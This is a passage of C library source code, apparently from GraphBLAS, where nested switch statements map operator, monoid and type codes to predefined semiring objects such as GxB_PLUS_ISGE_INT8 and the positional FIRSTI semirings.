case GB_INT16_code : return (GxB_MAX_ISGE_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_ISGE_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_ISGE_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_ISGE_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_ISGE_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_ISGE_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_ISGE_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_ISGE_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_ISGE_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_ISGE_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_ISGE_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_ISGE_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_ISGE_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_ISGE_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_ISGE_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_ISGE_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_ISGE_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_ISGE_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_ISGE_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_ISGE_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_ISGE_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_ISGE_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_ISGE_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_ISGE_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_ISGE_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_ISGE_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_ISGE_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_ISGE_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_ISGE_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_ISGE_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_ISGE_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_ISGE_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_ISGE_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_ISGE_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_ISGE_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_ISGE_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_ISGE_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_ISGE_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_ISLE_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_ISLE_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_ISLE_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_ISLE_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_ISLE_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_ISLE_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_ISLE_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_ISLE_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_ISLE_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_ISLE_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_ISLE_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_ISLE_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_ISLE_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_ISLE_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_ISLE_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_ISLE_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_ISLE_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_ISLE_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_ISLE_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_ISLE_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_ISLE_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_ISLE_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_ISLE_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_ISLE_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_ISLE_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_ISLE_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_ISLE_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_ISLE_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_ISLE_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_ISLE_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_ISLE_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_ISLE_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_ISLE_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_ISLE_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_ISLE_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_ISLE_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_ISLE_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_ISLE_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_ISLE_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_ISLE_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_ISLE_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_ISLE_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_ISLE_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_ISLE_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_ISLE_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_ISLE_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_ISLE_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_ISLE_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_ISLE_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_ISLE_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_ISLE_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_LOR_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_LOR_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_LOR_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_LOR_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_LOR_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_LOR_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_LOR_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_LOR_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_LOR_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_LOR_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_LOR_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_LOR_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_LOR_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_LOR_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_LOR_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_LOR_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_LOR_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_LOR_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_LOR_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_LOR_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_LOR_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_LOR_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_LOR_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_LOR_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_LOR_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_LOR_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_LOR_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_LOR_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_LOR_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_LOR_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_LOR_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_LOR_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_LOR_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_LOR_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_LOR_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_LOR_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_LOR_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_LOR_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_LOR_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_LOR_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_LOR_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_LOR_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_LOR_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_LOR_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_LOR_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_LOR_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_LOR_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_LOR_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_LOR_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_LOR_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_LOR_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_LAND_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_LAND_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_LAND_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_LAND_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_LAND_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_LAND_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_LAND_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_LAND_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_LAND_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_LAND_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_LAND_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_LAND_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_LAND_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_LAND_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_LAND_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_LAND_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_LAND_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_LAND_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_LAND_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_LAND_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_LAND_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_LAND_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_LAND_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_LAND_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_LAND_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_LAND_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_LAND_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_LAND_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_LAND_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_LAND_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_LAND_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_LAND_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_LAND_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_LAND_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_LAND_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_LAND_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_LAND_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_LAND_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_LAND_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_LAND_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_LAND_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_LAND_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_LAND_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_LAND_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_LAND_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_LAND_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_LAND_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_LAND_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_LAND_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_LAND_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_LAND_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_LXOR_binop_code : // with (5 monoids) x (10 nonboolean types)
switch (add_binop_code)
{
case GB_MIN_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MIN_LXOR_INT8 ) ;
case GB_UINT8_code : return (GxB_MIN_LXOR_UINT8 ) ;
case GB_INT16_code : return (GxB_MIN_LXOR_INT16 ) ;
case GB_UINT16_code : return (GxB_MIN_LXOR_UINT16 ) ;
case GB_INT32_code : return (GxB_MIN_LXOR_INT32 ) ;
case GB_UINT32_code : return (GxB_MIN_LXOR_UINT32 ) ;
case GB_INT64_code : return (GxB_MIN_LXOR_INT64 ) ;
case GB_UINT64_code : return (GxB_MIN_LXOR_UINT64 ) ;
case GB_FP32_code : return (GxB_MIN_LXOR_FP32 ) ;
case GB_FP64_code : return (GxB_MIN_LXOR_FP64 ) ;
default : ;
}
break ;
case GB_MAX_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_MAX_LXOR_INT8 ) ;
case GB_UINT8_code : return (GxB_MAX_LXOR_UINT8 ) ;
case GB_INT16_code : return (GxB_MAX_LXOR_INT16 ) ;
case GB_UINT16_code : return (GxB_MAX_LXOR_UINT16 ) ;
case GB_INT32_code : return (GxB_MAX_LXOR_INT32 ) ;
case GB_UINT32_code : return (GxB_MAX_LXOR_UINT32 ) ;
case GB_INT64_code : return (GxB_MAX_LXOR_INT64 ) ;
case GB_UINT64_code : return (GxB_MAX_LXOR_UINT64 ) ;
case GB_FP32_code : return (GxB_MAX_LXOR_FP32 ) ;
case GB_FP64_code : return (GxB_MAX_LXOR_FP64 ) ;
default : ;
}
break ;
case GB_PLUS_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_PLUS_LXOR_INT8 ) ;
case GB_UINT8_code : return (GxB_PLUS_LXOR_UINT8 ) ;
case GB_INT16_code : return (GxB_PLUS_LXOR_INT16 ) ;
case GB_UINT16_code : return (GxB_PLUS_LXOR_UINT16 ) ;
case GB_INT32_code : return (GxB_PLUS_LXOR_INT32 ) ;
case GB_UINT32_code : return (GxB_PLUS_LXOR_UINT32 ) ;
case GB_INT64_code : return (GxB_PLUS_LXOR_INT64 ) ;
case GB_UINT64_code : return (GxB_PLUS_LXOR_UINT64 ) ;
case GB_FP32_code : return (GxB_PLUS_LXOR_FP32 ) ;
case GB_FP64_code : return (GxB_PLUS_LXOR_FP64 ) ;
default : ;
}
break ;
case GB_TIMES_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_TIMES_LXOR_INT8 ) ;
case GB_UINT8_code : return (GxB_TIMES_LXOR_UINT8 ) ;
case GB_INT16_code : return (GxB_TIMES_LXOR_INT16 ) ;
case GB_UINT16_code : return (GxB_TIMES_LXOR_UINT16 ) ;
case GB_INT32_code : return (GxB_TIMES_LXOR_INT32 ) ;
case GB_UINT32_code : return (GxB_TIMES_LXOR_UINT32 ) ;
case GB_INT64_code : return (GxB_TIMES_LXOR_INT64 ) ;
case GB_UINT64_code : return (GxB_TIMES_LXOR_UINT64 ) ;
case GB_FP32_code : return (GxB_TIMES_LXOR_FP32 ) ;
case GB_FP64_code : return (GxB_TIMES_LXOR_FP64 ) ;
default : ;
}
break ;
case GB_ANY_binop_code :
switch (zcode)
{
case GB_INT8_code : return (GxB_ANY_LXOR_INT8 ) ;
case GB_UINT8_code : return (GxB_ANY_LXOR_UINT8 ) ;
case GB_INT16_code : return (GxB_ANY_LXOR_INT16 ) ;
case GB_UINT16_code : return (GxB_ANY_LXOR_UINT16 ) ;
case GB_INT32_code : return (GxB_ANY_LXOR_INT32 ) ;
case GB_UINT32_code : return (GxB_ANY_LXOR_UINT32 ) ;
case GB_INT64_code : return (GxB_ANY_LXOR_INT64 ) ;
case GB_UINT64_code : return (GxB_ANY_LXOR_UINT64 ) ;
case GB_FP32_code : return (GxB_ANY_LXOR_FP32 ) ;
case GB_FP64_code : return (GxB_ANY_LXOR_FP64 ) ;
default : ;
}
break ;
default : ;
}
break ;
default : ;
}
//----------------------------------------------------------------------
// 64 bitwise semirings
//----------------------------------------------------------------------
switch (mult_binop_code)
{
case GB_BOR_binop_code :
switch (add_binop_code)
{
case GB_BOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BOR_BOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BOR_BOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BOR_BOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BOR_BOR_UINT64 ) ;
default : ;
}
break ;
case GB_BAND_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BAND_BOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BAND_BOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BAND_BOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BAND_BOR_UINT64 ) ;
default : ;
}
break ;
case GB_BXOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BXOR_BOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BXOR_BOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BXOR_BOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BXOR_BOR_UINT64 ) ;
default : ;
}
break ;
case GB_BXNOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BXNOR_BOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BXNOR_BOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BXNOR_BOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BXNOR_BOR_UINT64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_BAND_binop_code :
switch (add_binop_code)
{
case GB_BOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BOR_BAND_UINT8 ) ;
case GB_UINT16_code : return (GxB_BOR_BAND_UINT16 ) ;
case GB_UINT32_code : return (GxB_BOR_BAND_UINT32 ) ;
case GB_UINT64_code : return (GxB_BOR_BAND_UINT64 ) ;
default : ;
}
break ;
case GB_BAND_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BAND_BAND_UINT8 ) ;
case GB_UINT16_code : return (GxB_BAND_BAND_UINT16 ) ;
case GB_UINT32_code : return (GxB_BAND_BAND_UINT32 ) ;
case GB_UINT64_code : return (GxB_BAND_BAND_UINT64 ) ;
default : ;
}
break ;
case GB_BXOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BXOR_BAND_UINT8 ) ;
case GB_UINT16_code : return (GxB_BXOR_BAND_UINT16 ) ;
case GB_UINT32_code : return (GxB_BXOR_BAND_UINT32 ) ;
case GB_UINT64_code : return (GxB_BXOR_BAND_UINT64 ) ;
default : ;
}
break ;
case GB_BXNOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BXNOR_BAND_UINT8 ) ;
case GB_UINT16_code : return (GxB_BXNOR_BAND_UINT16 ) ;
case GB_UINT32_code : return (GxB_BXNOR_BAND_UINT32 ) ;
case GB_UINT64_code : return (GxB_BXNOR_BAND_UINT64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_BXOR_binop_code :
switch (add_binop_code)
{
case GB_BOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BOR_BXOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BOR_BXOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BOR_BXOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BOR_BXOR_UINT64 ) ;
default : ;
}
break ;
case GB_BAND_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BAND_BXOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BAND_BXOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BAND_BXOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BAND_BXOR_UINT64 ) ;
default : ;
}
break ;
case GB_BXOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BXOR_BXOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BXOR_BXOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BXOR_BXOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BXOR_BXOR_UINT64 ) ;
default : ;
}
break ;
case GB_BXNOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BXNOR_BXOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BXNOR_BXOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BXNOR_BXOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BXNOR_BXOR_UINT64 ) ;
default : ;
}
break ;
default : ;
}
break ;
case GB_BXNOR_binop_code :
switch (add_binop_code)
{
case GB_BOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BOR_BXNOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BOR_BXNOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BOR_BXNOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BOR_BXNOR_UINT64 ) ;
default : ;
}
break ;
case GB_BAND_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BAND_BXNOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BAND_BXNOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BAND_BXNOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BAND_BXNOR_UINT64 ) ;
default : ;
}
break ;
case GB_BXOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BXOR_BXNOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BXOR_BXNOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BXOR_BXNOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BXOR_BXNOR_UINT64 ) ;
default : ;
}
break ;
case GB_BXNOR_binop_code :
switch (zcode)
{
case GB_UINT8_code : return (GxB_BXNOR_BXNOR_UINT8 ) ;
case GB_UINT16_code : return (GxB_BXNOR_BXNOR_UINT16 ) ;
case GB_UINT32_code : return (GxB_BXNOR_BXNOR_UINT32 ) ;
case GB_UINT64_code : return (GxB_BXNOR_BXNOR_UINT64 ) ;
default : ;
}
break ;
default : ;
}
break ;
default : ;
}
//----------------------------------------------------------------------
// 80 positional semirings
//----------------------------------------------------------------------
switch (mult_binop_code)
{
case GB_FIRSTI_binop_code : // z = first_i(A(i,k),y) == i
if (zcode == GB_INT64_code)
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_FIRSTI_INT64) ;
case GB_MAX_binop_code : return (GxB_MAX_FIRSTI_INT64) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRSTI_INT64) ;
case GB_PLUS_binop_code : return (GxB_PLUS_FIRSTI_INT64) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRSTI_INT64) ;
default: ;
}
}
else
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_FIRSTI_INT32) ;
case GB_MAX_binop_code : return (GxB_MAX_FIRSTI_INT32) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRSTI_INT32) ;
case GB_PLUS_binop_code : return (GxB_PLUS_FIRSTI_INT32) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRSTI_INT32) ;
default: ;
}
}
break ;
case GB_FIRSTI1_binop_code : // z = first_i1(A(i,k),y) == i+1
if (zcode == GB_INT64_code)
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_FIRSTI1_INT64) ;
case GB_MAX_binop_code : return (GxB_MAX_FIRSTI1_INT64) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRSTI1_INT64) ;
case GB_PLUS_binop_code : return (GxB_PLUS_FIRSTI1_INT64) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRSTI1_INT64) ;
default: ;
}
}
else
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_FIRSTI1_INT32) ;
case GB_MAX_binop_code : return (GxB_MAX_FIRSTI1_INT32) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRSTI1_INT32) ;
case GB_PLUS_binop_code : return (GxB_PLUS_FIRSTI1_INT32) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRSTI1_INT32) ;
default: ;
}
}
break ;
case GB_FIRSTJ_binop_code : // z = first_j(A(i,k),y) == k
if (zcode == GB_INT64_code)
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_FIRSTJ_INT64) ;
case GB_MAX_binop_code : return (GxB_MAX_FIRSTJ_INT64) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRSTJ_INT64) ;
case GB_PLUS_binop_code : return (GxB_PLUS_FIRSTJ_INT64) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRSTJ_INT64) ;
default: ;
}
}
else
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_FIRSTJ_INT32) ;
case GB_MAX_binop_code : return (GxB_MAX_FIRSTJ_INT32) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRSTJ_INT32) ;
case GB_PLUS_binop_code : return (GxB_PLUS_FIRSTJ_INT32) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRSTJ_INT32) ;
default: ;
}
}
break ;
case GB_FIRSTJ1_binop_code : // z = first_j1(A(i,k),y) == k+1
if (zcode == GB_INT64_code)
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_FIRSTJ1_INT64) ;
case GB_MAX_binop_code : return (GxB_MAX_FIRSTJ1_INT64) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRSTJ1_INT64) ;
case GB_PLUS_binop_code : return (GxB_PLUS_FIRSTJ1_INT64) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRSTJ1_INT64) ;
default: ;
}
}
else
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_FIRSTJ1_INT32) ;
case GB_MAX_binop_code : return (GxB_MAX_FIRSTJ1_INT32) ;
case GB_TIMES_binop_code : return (GxB_TIMES_FIRSTJ1_INT32) ;
case GB_PLUS_binop_code : return (GxB_PLUS_FIRSTJ1_INT32) ;
case GB_ANY_binop_code : return (GxB_ANY_FIRSTJ1_INT32) ;
default: ;
}
}
break ;
case GB_SECONDI_binop_code : // z = second_i(x,B(k,j)) == k
if (zcode == GB_INT64_code)
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_SECONDI_INT64) ;
case GB_MAX_binop_code : return (GxB_MAX_SECONDI_INT64) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECONDI_INT64) ;
case GB_PLUS_binop_code : return (GxB_PLUS_SECONDI_INT64) ;
case GB_ANY_binop_code : return (GxB_ANY_SECONDI_INT64) ;
default: ;
}
}
else
{
switch (add_binop_code)
{
case GB_MIN_binop_code : return (GxB_MIN_SECONDI_INT32) ;
case GB_MAX_binop_code : return (GxB_MAX_SECONDI_INT32) ;
case GB_TIMES_binop_code : return (GxB_TIMES_SECONDI_INT32) ;
case GB_PLUS_binop_code : return (GxB_PLUS_SECONDI_INT32) ;
case GB_ANY_binop_code : return (GxB_ANY_SECONDI_INT32) ;
default: ;
}
}
break ;
